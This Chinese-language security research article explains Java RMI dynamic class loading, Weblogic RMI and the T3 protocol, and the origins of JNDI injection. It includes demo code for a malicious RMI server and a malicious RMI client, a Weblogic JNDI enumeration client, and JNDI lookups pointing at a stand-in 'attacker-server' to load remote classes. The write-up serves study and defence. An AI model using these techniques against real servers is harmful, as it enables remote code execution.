1. 由于Java SecurityManager的限制，默认是不允许远程加载的，如果需要进行远程加载类，需要安装RMISecurityManager并且配置java.security.policy，这在后面的利用中可以看到。
2. 属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始，java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时，将禁用自动加载远程类文件，仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类，增加了RMI ClassLoader的安全性。
**注** ：在JNDI注入的利用方法中也借助了这种动态加载类的思路。
##### 远程方法返回对象为远程接口方法返回对象的子类（目标Server端为RMI客户端时的恶意利用）
远程对象象接口（这个接口一般都是公开的）：
//Services.java
package com.longofo.javarmi;
import java.rmi.RemoteException;
public interface Services extends java.rmi.Remote {
Object sendMessage(Message msg) throws RemoteException;
}
恶意的远程对象类的实现：
package com.longofo.javarmi;
import com.longofo.remoteclass.ExportObject;
import java.rmi.RemoteException;
public class ServicesImpl1 implements Services {
@Override
//这里在服务端将返回值设置为了远程对象接口Object的子类，这个ExportObject在客户端是不存在的
public ExportObject sendMessage(Message msg) throws RemoteException {
return new ExportObject();
}
}
恶意的RMI服务端：
package com.longofo.javarmi;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer1 {
public static void main(String[] args) {
try {
// 实例化服务端远程对象
ServicesImpl1 obj = new ServicesImpl1();
// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
//设置java.rmi.server.codebase
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
Registry reg;
try {
// 创建Registry
reg = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}
//绑定远程对象到Registry
reg.bind("Services", services);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
RMI客户端：
//RMIClient1.java
package com.longofo.javarmi;
import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient1 {
/**
* Java RMI恶意利用demo
*
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
//如果需要使用RMI的动态加载功能，需要开启RMISecurityManager，并配置policy以允许从远程加载类库
System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
// 获取远程对象的引用
Services services = (Services) registry.lookup("Services");
Message message = new Message();
message.setMessage("hahaha");
services.sendMessage(message);
}
}
这样就模拟出了一种攻击场景，这时受害者是作为RMI客户端的，需要满足以下条件才能利用：
1. 可以控制客户端去连接我们的恶意服务端
2. 客户端允许远程加载类
3. 还有上面的说的JDK版本限制
可以看到利用条件很苛刻，如果真的满足了以上条件，那么就可以模拟一个恶意的RMI服务端进行攻击。完整代码在[github](https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms)上，先启动`remote-class/src/main/java/com/longofo/remoteclass/HttpServer`，接着启动`java-rmi-server/src/main/java/com/longofo/javarmi/RMIServer1.java`，再启动`java-rmi-client/src/main/java/com/longofo/javarmi/RMIClient1.java`即可复现，在JDK
1.6.0_29测试通过。
##### 远程方法参数对象为远程接口方法参数对象的子类（目标Server端需要为RMI Server端才能利用）
刚开始讲Java RMI的时候，我们模拟了一种攻击，那种情况和这种情况是类似的，上面那种情况是利用加载本地类，而这里的是加载远程类。
RMI服务端：
//RMIServer.java
package com.longofo.javarmi;
import java.rmi.AlreadyBoundException;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer2 {
/**
* Java RMI 服务端
*
* @param args
*/
public static void main(String[] args) {
try {
// 实例化服务端远程对象
ServicesImpl obj = new ServicesImpl();
// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
Registry reg;
try {
//如果需要使用RMI的动态加载功能，需要开启RMISecurityManager，并配置policy以允许从远程加载类库
System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
// 创建Registry
reg = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}
//绑定远程对象到Registry
reg.bind("Services", services);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
远程对象接口：
package com.longofo.javarmi;
import java.rmi.RemoteException;
public interface Services extends java.rmi.Remote {
Object sendMessage(Message msg) throws RemoteException;
}
恶意远程方法参数对象子类：
package com.longofo.remoteclass;
import com.longofo.javarmi.Message;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.Serializable;
import java.util.Hashtable;
public class ExportObject1 extends Message implements ObjectFactory, Serializable {
private static final long serialVersionUID = 4474289574195395731L;
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
恶意RMI客户端：
package com.longofo.javarmi;
import com.longofo.remoteclass.ExportObject1;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient2 {
public static void main(String[] args) throws Exception {
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
Registry registry = LocateRegistry.getRegistry();
// 获取远程对象的引用
Services services = (Services) registry.lookup("rmi://127.0.0.1:9999/Services");
ExportObject1 exportObject1 = new ExportObject1();
exportObject1.setMessage("hahaha");
services.sendMessage(exportObject1);
}
}
这样就模拟出了另一种攻击场景，这时受害者是作为RMI服务端，需要满足以下条件才能利用：
1. RMI服务端允许远程加载类
2. 还有JDK限制
利用条件也很苛刻，如果真的满足了以上条件，那么就可以模拟一个恶意的RMI客户端进行攻击。完整代码在[github](https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms)上，先启动`remote-class/src/main/java/com/longofo/remoteclass/HttpServer`，接着启动`java-rmi-server/src/main/java/com/longofo/javarmi/RMIServer2.java`，再启动`java-rmi-client/src/main/java/com/longofo/javarmi/RMIClient2.java`即可复现，在JDK
1.6.0_29测试通过。
#### Weblogic RMI
##### Weblogic RMI与Java RMI的区别
为什么要把Weblogic RMI写这里呢？因为通过Weblogic RMI作为反序列化入口导致的漏洞很多，常常听见的通过Weblogic
T3协议进行反序列化...一开始也没去了详细了解过Weblogic RMI和Weblogic T3协议有什么关系，也是直接拿着python
weblogic那个T3脚本直接打。然后搜索的资料大多也都是讲的上面的Java RMI，用的JRMP协议传输，没有区分过Java RMI和Weblogic
RMI有什么区别，T3和JRMP又是是什么，很容易让人迷惑。
从[这篇文中](https://www.oreilly.com/library/view/weblogic-the-definitive/059600432X/ch04s03.html)[5]我们可以了解到，WebLogic
RMI是服务器框架的组成部分。它使Java客户端可以透明地访问WebLogic
Server上的RMI对象，这包括访问任何已部署到WebLogic的EJB组件和其他J2EE资源，它可以构建快速、可靠、符合标准的RMI应用程序。当RMI对象部署到WebLogic群集时，它还集成了对负载平衡和故障转移的支持。WebLogic
RMI与Java RMI规范完全兼容，上面提到的动态加载加载功能也是具有的，同时还提供了在标准Java
RMI实现下更多的功能与扩展。下面简要概述了使用WebLogic版本的RMI的一些其他好处：
1.性能和可扩展性
WebLogic包含了高度优化的RMI实现。它处理与RMI支持有关的所有实现问题：管理线程和套接字、垃圾回收和序列化。标准RMI依赖于客户端与服务器之间以及客户端与RMI注册表之间的单独套接字连接。WebLogic
RMI将所有这些网络流量多路复用到客户端和服务器之间的单个套接字连接上（这里指的就是T3协议吧）。相同的套接字连接也可重用于其他类型的J2EE交互，例如JDBC请求和JMS连接。通过最小化客户端和WebLogic之间的网络连接，RMI实现可以在负载下很好地扩展，并同时支持大量RMI客户端，它还依赖于高性能的
**序列化** 逻辑。
此外，当客户端在与RMI对象相同的VM中运行时，WebLogic会自动优化客户端与服务器之间的交互。它确保您不会因调用远程方法期间对参数进行编组或取消编组而导致任何性能损失。相反，当客户端和服务器对象并置时，并且在类加载器层次结构允许时，WebLogic使用Java的按引用传递语义。
2.客户端之间的沟通
WebLogic的RMI提供了客户端和服务器之间的异步双向套接字连接。 RMI客户端可以调用由服务器端提供的RMI对象以及通过WebLogic的RMI
Registry注册了远程接口的其他客户端的RMI对象公开的方法。因此，
**客户端应用程序可以通过服务器注册表发布RMI对象，而其他客户端或服务器可以使用这些客户端驻留的对象，就像它们将使用任何服务器驻留的对象一样**
。这样，您可以创建涉及RMI客户端之间对等双向通信的应用程序。
3.RMI注册中心
只要启动WebLogic，RMI注册表就会自动运行。WebLogic会忽略创建RMI注册表的多个实例的尝试，仅返回对现有注册表的引用。
WebLogic的RMI注册表与JNDI框架完全集成。可以使用 **JNDI或RMI注册表** （可以看到上面Java
RMI我使用了Registry，后面Weblogic
RMI中我使用的是JNDI方式，两种方式对RMI服务都是可以的）来绑定或查找服务器端RMI对象。实际上，RMI注册中心只是WebLogic的JNDI树之上的一小部分。我们建议您直接使用JNDI
API来注册和命名RMI对象，而完全绕过对RMI注册表的调用。JNDI提供了通过其他企业命名和目录服务（例如LDAP）发布RMI对象的前景。
4.隧道式
RMI客户端可以使用基于多种方案的URL：标准 rmi://方案，或分别通过HTTP和IIOP隧道传输RMI请求的
http://和iiop://方案。这使来自客户端的RMI调用可以穿透大多数防火墙。
5.动态生成存根和骨架
WebLogic支持动态生成客户端存根和服务器端框架，从而无需为RMI对象生成客户端存根和服务器端框架。将对象部署到RMI注册表或JNDI时，WebLogic将自动生成必要的存根和框架。唯一需要显式创建存根的时间是可集群客户端或IIOP客户端需要访问服务器端RMI对象时。
T3传输协议是WebLogic的自有协议，Weblogic RMI就是通过T3协议传输的（可以理解为序列化的数据载体是T3），它有如下特点：
1. 服务端可以持续追踪监控客户端是否存活（心跳机制），通常心跳的间隔为60秒，服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
2. 通过建立一次连接可以将全部数据包传输完成，优化了数据包大小和网络消耗。
Weblogic T3协议和http以及其他几个协议的端口是共用的：
Weblogic会检测请求为哪种协议，然后路由到正确的位置。
##### 查看Weblogic默认注册的远程对象
Weblogic服务已经注册了一些远程对象，写一个测试下(参考了[这篇文章](https://www.oreilly.com/library/view/weblogic-the-definitive/059600432X/ch04s03.html)[5]中的部分代码，代码放到[github](https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms)了，运行`weblogic-rmi-client/src/main/java/com/longofo/weblogicrmi/Client`即可，注意修改其中IP和Port)，在JDK
1.6.0_29测试通过：
//Client.java
package com.longofo.weblogicrmi;
import com.alibaba.fastjson.JSON;
import weblogic.rmi.extensions.server.RemoteWrapper;
import javax.naming.*;
import java.io.IOException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class Client {
/**
* 列出Weblogic有哪些可以远程调用的对象
*/
public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException {
//Weblogic RMI和Web服务共用7001端口
//可直接传入t3://或者rmi://或者ldap://等，JNDI会自动根据协议创建上下文环境
InitialContext initialContext = getInitialContext("t3://192.168.192.135:7001");
System.out.println(JSON.toJSONString(listAllEntries(initialContext), true));
//尝试调用ejb上绑定的对象的方法getRemoteDelegate
//weblogic.jndi.internal.WLContextImpl类继承的远程接口为RemoteWrapper，可以自己在jar包中看下，我们客户端只需要写一个包名和类名与服务器上的一样即可
RemoteWrapper remoteWrapper = (RemoteWrapper) initialContext.lookup("ejb");
System.out.println(remoteWrapper.getRemoteDelegate());
}
private static Map listAllEntries(Context initialContext) throws NamingException {
String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : "";
HashMap<String, Object> map = new HashMap<String, Object>();
System.out.println("> Listing namespace: " + namespace);
NamingEnumeration<NameClassPair> list = initialContext.list(namespace);
while (list.hasMoreElements()) {
NameClassPair next = list.next();
String name = next.getName();
String jndiPath = namespace + name;
HashMap<String, Object> lookup = new HashMap<String, Object>();
try {
System.out.println("> Looking up name: " + jndiPath);
Object tmp = initialContext.lookup(jndiPath);
if (tmp instanceof Context) {
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
Map<String, Object> entries = listAllEntries((Context) tmp);
for (Map.Entry<String, Object> entry : entries.entrySet()) {
String key = entry.getKey();
if (key != null) {
lookup.put(key, entries.get(key));
break;
}
}
} else {
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
}
} catch (Throwable t) {
lookup.put("error msg", t.getMessage());
Object tmp = initialContext.lookup(jndiPath);
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
}
map.put(name, lookup);
}
return map;
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
结果如下：
> Listing namespace:
> Looking up name: weblogic
> Listing namespace:
> Looking up name: HelloServer
> Looking up name: ejb
> Listing namespace:
> Looking up name: mgmt
> Listing namespace:
> Looking up name: MEJB
> Looking up name: javax
> Listing namespace:
> Looking up name: mejbmejb_jarMejb_EO
{
"ejb":{
"mgmt":{
"MEJB":{
"interfaces":["weblogic.rmi.internal.StubInfoIntf","javax.ejb.EJBHome","weblogic.ejb20.interfaces.RemoteHome"],
"class":"weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl_1036_WLStub"
},
"interfaces":["weblogic.jndi.internal.WLInternalContext","weblogic.rmi.extensions.server.RemoteWrapper","java.io.Externalizable"],
"class":"weblogic.jndi.internal.WLContextImpl"
},
"interfaces":["weblogic.jndi.internal.WLInternalContext","weblogic.rmi.extensions.server.RemoteWrapper","java.io.Externalizable"],
"class":"weblogic.jndi.internal.WLContextImpl"
},
"javax":{
"error msg":"User <anonymous> does not have permission on javax to perform list operation.",
"interfaces":["weblogic.jndi.internal.WLInternalContext","weblogic.rmi.extensions.server.RemoteWrapper","java.io.Externalizable"],
"class":"weblogic.jndi.internal.WLContextImpl"
},
"mejbmejb_jarMejb_EO":{
"interfaces":["weblogic.rmi.internal.StubInfoIntf","javax.ejb.EJBObject"],
"class":"weblogic.management.j2ee.mejb.Mejb_dj5nps_EOImpl_1036_WLStub"
},
"HelloServer":{
"interfaces":["weblogic.rmi.internal.StubInfoIntf","com.longofo.weblogicrmi.IHello"],
"class":"com.longofo.weblogicrmi.HelloImpl_1036_WLStub"
},
"weblogic":{
"error msg":"User <anonymous> does not have permission on weblogic to perform list operation.",
"interfaces":["weblogic.jndi.internal.WLInternalContext","weblogic.rmi.extensions.server.RemoteWrapper","java.io.Externalizable"],
"class":"weblogic.jndi.internal.WLContextImpl"
}
}
ClusterableRemoteRef(-657761404297506818S:192.168.192.135:[7001,7001,-1,-1,-1,-1,-1]:base_domain:AdminServer NamingNodeReplicaHandler (for ejb))/292
在Weblogic控制台，我们可以通过JNDI树看到上面这些远程对象：
**注：下面这一段可能省略了一些过程，我也不知道具体该怎么描述，所以会不知道我说的啥，可以跳过，只是一个失败的测试**
在客户端的RemoteWrapper中，我还写了一个readExternal接口方法，远程对象的RemoteWrapper接口类是没有这个方法的。但是`weblogic.jndi.internal.WLContextImpl`这个实现类中有，那么如果在本地接口类中加上readExternal方法去调用会怎么样呢？由于过程有点繁杂，很多坑，做了很多代码替换与测试，我也不知道该怎么具体描述，只简单说下：
1.直接用T3脚本测试
使用JtaTransactionManager这条利用链，用T3协议攻击方式在未打补丁的Weblogic测试成功，打上补丁的Weblogic测试失败，在打了补丁的Weblogic上JtaTransactionManager的父类AbstractPlatformTransactionManager在黑名单中，Weblogic黑名单在`weblogic.utils.io.oif.WebLogicFilterConfig`中。
2.那么根据前面Java RMI那种恶意利用方式能行吗，两者只是传输协议不一样，利用过程应该是类似的，试下正常调用readExternal方式去利用行不行？
这个测试过程实在不知道该怎么描述，测试结果也失败了，如果调用的方法在远程对象的接口上也有，例如上面代码中的`remoteWrapper.getRemoteDelegate()`，经过抓包搜索"getRemoteDelegate"发现了有bind关键字，调用结果也是在服务端执行的。但是如果调用了远程接口不存在的方法，比如`remoteWrapper.readExternal()`，在流量中会看到"readExternal"有unbind关键字，这时就不是服务端去处理结果了，而是在本地对应类的方法进行调用（比如你本地存在`weblogic.jndi.internal.WLContextImpl`类，会调用这个类的readExternal方法去处理），如果本地没有相应的类就会报错。当时我是用的JtaTransactionManager这条利用链，我本地也有这个类...所以我在我本地看到了计算器弹出来了，要不是使用的虚拟机上的Weblogic进行测试，我自己都信了，自己造了个洞。（
**说明**
：readExternal的参数ObjectOutput类也是不可序列化的，当时自己也没想那么多...后面在Weblogic上部署了一个远程对象，参数我设置的是ObjectInputStream类，调用时才发现不可序列化错误，虽然之前也说过RMI传输是基于序列化的，那么传输的对象必须可序列化，但是写着就忘记了）
想想自己真的很天真，要是远程对象的接口没有提供的方法都能被你调用了，那不成了RMI本身的漏洞吗。并且这个过程和直接用T3脚本是类似的，都会经过Weblogic的ObjectInputFilter过滤黑名单中的类，就算能成功调用readExternal，JtaTransactionManager这条利用链也会被拦截到。
上面说到的Weblogic部署的远程对象的例子根据[这篇文章](https://paper.seebug.org/1012/#weblogic-rmi)[2]做了一些修改，代码在[github](https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms)上了，将`weblogic-rmi-server/src/main/java/com/longofo/weblogicrmi/HelloImpl`打包为Jar包部署到Weblogic，然后运行`weblogic-rmi-client/src/main/java/com/longofo/weblogicrmi/Client1`即可，注意修改其中的IP和Port，在JDK
1.6.0_29测试通过。
##### 正常Weblogic RMI调用与模拟T3协议进行恶意利用
之前都是模拟T3协议的方式进行恶意利用，来看下不使用T3脚本攻击的方式（找一个远程对象的有参数的方法，我使用的是`weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl_1036_WLStub#remove(Object
obj)`方法），它对应的命名为`ejb/mgmt/MEJB`，其中一个远程接口为`javax.ejb.EJBHome`，测试代码放到[github](https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms)上了，先使用`ldap/src/main/java/LDAPRefServer`启动一个ldap服务，然后运行`weblogic-rmi-client/src/main/java/com/longofo/weblogicrmi/Payload1`即可复现，注意修改Ip和Port。
在没有过滤AbstractPlatformTransactionManager类的版本上，使用JtaTransactionManager这条利用链测试，
在过滤了AbstractPlatformTransactionManager类的版本上使用JtaTransactionManager这条利用链测试，
可以看到通过正常的调用RMI方式也能触发，不过相比直接用T3替换传输过程中的反序列化数据，这种方式利用起来就复杂一些了，关于T3模拟的过程，可以看下[这篇文章](https://paper.seebug.org/1012/#weblogic-rmi)[2]。Java RMI默认使用的JRMP传输，那么JRMP也应该和T3协议一样可以模拟来简化利用过程吧。
#### 小结
从上面我们可以了解到以下几点：
1. RMI标准实现是Java RMI，其他实现还有Weblogic RMI、Spring RMI等。
2. RMI的调用是基于序列化的，一个对象远程传输需要序列化，需要使用到这个对象就需要从序列化的数据中恢复这个对象，恢复这个对象时对应的readObject、readExternal等方法会被自动调用。
3. RMI可以利用服务器本地反序列化利用链进行攻击。
4. RMI具有动态加载类的能力以及能利用这种能力进行恶意利用。这种利用方式是在本地不存在可用的利用链或者可用的利用链中某些类被过滤了导致无法利用时可以使用，不过利用条件有些苛刻。
5. 讲了Weblogic RMI和Java RMI的区别，以及Java RMI默认使用的专有传输协议（或者也可以叫做默认协议）是JRMP，Weblogic RMI默认使用的传输协议是T3。
6. Weblogic RMI正常调用触发反序列化以及模拟T3协议触发反序列化都可以，但是模拟T3协议传输简化了很多过程。
Weblogic
RMI反序列化漏洞起源是CVE-2015-4852，这是@breenmachine最开始发现的，在他的[这篇分享中](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#background)[7]，不仅讲到了Weblogic的反序列化漏洞的发现，还有WebSphere、JBoss、Jenkins、OpenNMS反序列化漏洞的发现过程以及如何开发利用程序，如果之前没有看过这篇文章，可以耐心的读一下，可以看到作者是如何快速确认是否存在易受攻击的库，如何从流量中寻找反序列化特征，如何去触发这些流量。
我们可以看到作者发现这几个漏洞的过程都有相似性：首先判断了是否存在易受攻击的库/易受攻击的特征->搜集端口信息->针对性的触发流量->在流量中寻找反序列化特征->开发利用程序。不过这是建立在作者对这些Web应用或中间件的整体有一定的了解。
### JNDI
JNDI (Java Naming and Directory Interface) ，包括Naming Service和Directory
Service。JNDI是Java
API，允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中，例如远程方法调用（RMI），公共对象请求代理体系结构（CORBA），轻型目录访问协议（LDAP）或域名服务（DNS）。
**Naming Service**
：命名服务是将名称与值相关联的实体，称为"绑定"。它提供了一种使用"find"或"search"操作来根据名称查找对象的便捷方式。
就像DNS一样，通过命名服务器提供服务，大部分的J2EE服务器都含有命名服务器 。例如上面说到的RMI Registry就是使用的Naming
Service。
**Directory Service** ：是一种特殊的Naming
Service，它允许存储和搜索"目录对象"，一个目录对象不同于一个通用对象，目录对象可以与属性关联，因此，目录服务提供了对象属性进行操作功能的扩展。一个目录是由相关联的目录对象组成的系统，一个目录类似于数据库，不过它们通常以类似树的分层结构进行组织。可以简单理解成它是一种简化的RDBMS系统，通过目录具有的属性保存一些简单的信息。下面说到的LDAP就是目录服务。
**几个重要的JNDI概念** ：
* **原子名** 是一个简单、基本、不可分割的组成部分
* **绑定** 是名称与对象的关联，每个绑定都有一个不同的原子名
* **复合名** 包含零个或多个原子名，即由多个绑定组成
* **上下文** 是包含零个或多个绑定的对象，每个绑定都有一个不同的原子名
* 命名系统是一组关联的上下文
* 名称空间是命名系统中包含的所有名称
* 探索名称空间的起点称为初始上下文
* 要获取初始上下文，需要使用初始上下文工厂
**使用JNDI的好处** ：
JNDI自身并不区分客户端和服务器端，也不具备远程能力，但是被其协同的一些其他应用一般都具备远程能力，JNDI在客户端和服务器端都能够进行一些工作，客户端上主要是进行各种访问，查询，搜索，而服务器端主要进行的是帮助管理配置，也就是各种bind。比如在RMI服务器端上可以不直接使用Registry进行bind，而使用JNDI统一管理，当然JNDI底层应该还是调用的Registry的bind，但好处JNDI提供的是统一的配置接口；在客户端也可以直接通过类似URL的形式来访问目标服务，可以看后面提到的
**JNDI动态协议转换** 。把RMI换成其他的例如LDAP、CORBA等也是同样的道理。
#### 几个简单的JNDI示例
JNDI与RMI配合使用：
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:9999");
Context ctx = new InitialContext(env);
//将名称refObj与一个对象绑定，这里底层也是调用的rmi的registry去绑定
ctx.bind("refObj", new RefObject());
//通过名称查找对象
ctx.lookup("refObj");
JNDI与LDAP配合使用：
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
DirContext ctx = new InitialDirContext(env);
//通过名称查找远程对象，假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");
#### JNDI动态协议转换
上面的两个例子都手动设置了对应服务的工厂以及对应服务的PROVIDER_URL，但是JNDI是能够进行动态协议转换的。
例如：
Context ctx = new InitialContext();
ctx.lookup("rmi://attacker-server/refObj");
//ctx.lookup("ldap://attacker-server/cn=bar,dc=test,dc=org");
//ctx.lookup("iiop://attacker-server/bar");
上面没有设置对应服务的工厂以及PROVIDER_URL，JNDI根据传递的URL协议自动转换与设置了对应的工厂与PROVIDER_URL。
再如下面的：
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:9999");
Context ctx = new InitialContext(env);
String name = "ldap://attacker-server/cn=bar,dc=test,dc=org";
//通过名称查找对象
ctx.lookup(name);
即使服务端提前设置了工厂与PROVIDER_URL也不要紧，如果在lookup时参数能够被攻击者控制，同样会根据攻击者提供的URL进行动态转换。
在使用lookup方法时，会进入getURLOrDefaultInitCtx这个方法，转换就在这里面：
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {//这里不是说我们设置了上下文环境变量就会进入，因为我们没有执行初始化上下文工厂的构建，所以上面那两种情况在这里都不会进入
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);//尝试从名称解析URL中的协议
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);//如果解析出了Schema协议，则尝试获取其对应的上下文环境
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}
#### JNDI命名引用
为了在命名或目录服务中绑定Java对象，可以使用Java序列化传输对象，例如上面示例的第一个例子，将一个对象绑定到了远程服务器，就是通过反序列化将对象传输过去的。但是，并非总是通过序列化去绑定对象，因为它可能太大或不合适。为了满足这些需求，JNDI定义了命名引用，以便对象可以通过绑定由命名管理器解码并解析为原始对象的一个引用间接地存储在命名或目录服务中。
引用由Reference类表示，并且由地址和有关被引用对象的类信息组成，每个地址都包含有关如何构造对象。
Reference可以使用工厂来构造对象。当使用lookup查找对象时，Reference将使用工厂提供的工厂类加载地址来加载工厂类，工厂类将构造出需要的对象：
Reference reference = new Reference("MyClass","MyClass",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("Foo", wrapper);
还有其他从引用构造对象的方式，但是使用工厂的话，因为为了构造对象，需要先从远程获取工厂类 并在目标系统中工厂类被加载。
#### 远程代码库和安全管理器
在JNDI栈中，不是所有的组件都被同等对待。当验证从何处加载远程类时JVM的行为不同。从远程加载类有两个不同的级别：
* 命名管理器级别
* 服务提供者接口（SPI）级别
JNDI体系结构：
在SPI级别，JVM将允许从远程代码库加载类并实施安全性。管理器的安装取决于特定的提供程序（例如在上面说到的RMI那些利用方式就是SPI级别，必须设置安全管理器）：
Provider | Property to enable remote class loading | 是否需要强制安装Security Manager
---|---|---
RMI | java.rmi.server.useCodebaseOnly = false ( **JDK 6u45、JDK 7u21之后默认为true**
) | 需要
LDAP | com.sun.jndi.ldap.object.trustURLCodebase = true（default = false） | 非必须
CORBA | | 需要
但是，在Naming
Manager层放宽了安全控制。解码JNDI命名时始终允许引用从远程代码库加载类，而没有JVM选项可以禁用它，并且不需要强制安装任何安全管理器，例如上面说到的命名引用那种方式。
#### JNDI注入起源
**JNDI注入** 是BlackHat
2016（USA）[@pentester](https://twitter.com/pwntester)的一个议题"[A Journey From JNDI
LDAP Manipulation To
RCE](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)"[9]提出的。
有了上面几个知识，现在来看下JNDI注入的起源就容易理解些了。JNDI注入最开始起源于野外发现的Java Applets
点击播放绕过漏洞（CVE-2015-4902），它的攻击过程可以简单概括为以下几步：
1. 恶意applet使用JNLP实例化JNDI InitialContext
2. javax.naming.InitialContext的构造函数将请求应用程序的JNDI.properties JNDI配置文件来自恶意网站
3. 恶意Web服务器将JNDI.properties发送到客户端 JNDI.properties内容为：java.naming.provider.url = rmi://attacker-server/Go
4. 在InitialContext初始化期间查找rmi//attacker-server/Go，攻击者控制的注册表将返回JNDI引用 （javax.naming.Reference）
5. 服务器从RMI注册表接收到JNDI引用后，它将从攻击者控制的服务器获取工厂类，然后实例化工厂以返回 JNDI所引用的对象的新实例
6. 由于攻击者控制了工厂类，因此他可以轻松返回带有静态变量的类初始化程序，运行由攻击者定义的任何Java代码，实现远程代码执行
相同的原理也可以应用于Web应用中。对于 **JNDI注入** ，有以下两个点需要注意：
1. 仅由InitialContext或其子类初始化的Context对象（InitialDirContext或InitialLdapContext）容易受到JNDI注入攻击
2. 一些InitialContext属性可以被传递给查找的地址/名称覆盖，即上面提到的JNDI动态协议转换
不仅仅是`InitialContext.lookup()`方法会受到影响，其他方法例如`InitialContext.rename()`、
`InitialContext.lookupLink()`最后也调用了`InitialContext.lookup()`。还有其他包装了JNDI的应用，例如Apache's
Shiro JndiTemplate、Spring's JndiTemplate也会调用`InitialContext.lookup()`，看下Apache
Shiro的JndiTemplate.lookup()：
#### JNDI攻击向量
JNDI主要有以下几种攻击向量：
* RMI
* JNDI Reference
* Remote Object（有安全管理器的限制，在上面RMI利用部分也能看到）
* LDAP
* Serialized Object
* JNDI Reference
* Remote Location
* CORBA
* IOR
有关CORBA的内容可以看BlackHat 2016那个议题相关部分，后面主要说明是RMI攻击向量与LDAP攻击向量。
##### JNDI Reference+RMI攻击向量
使用RMI Remote Object的方式在RMI那一节我们能够看到，利用限制很大。但是使用RMI+JNDI
Reference就没有那些限制，不过在JDK 6u132、JDK 7u122、JDK 8u113 之后，系统属性
`com.sun.jndi.rmi.object.trustURLCodebase`、`com.sun.jndi.cosnaming.object.trustURLCodebase`
的默认值变为false，即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。
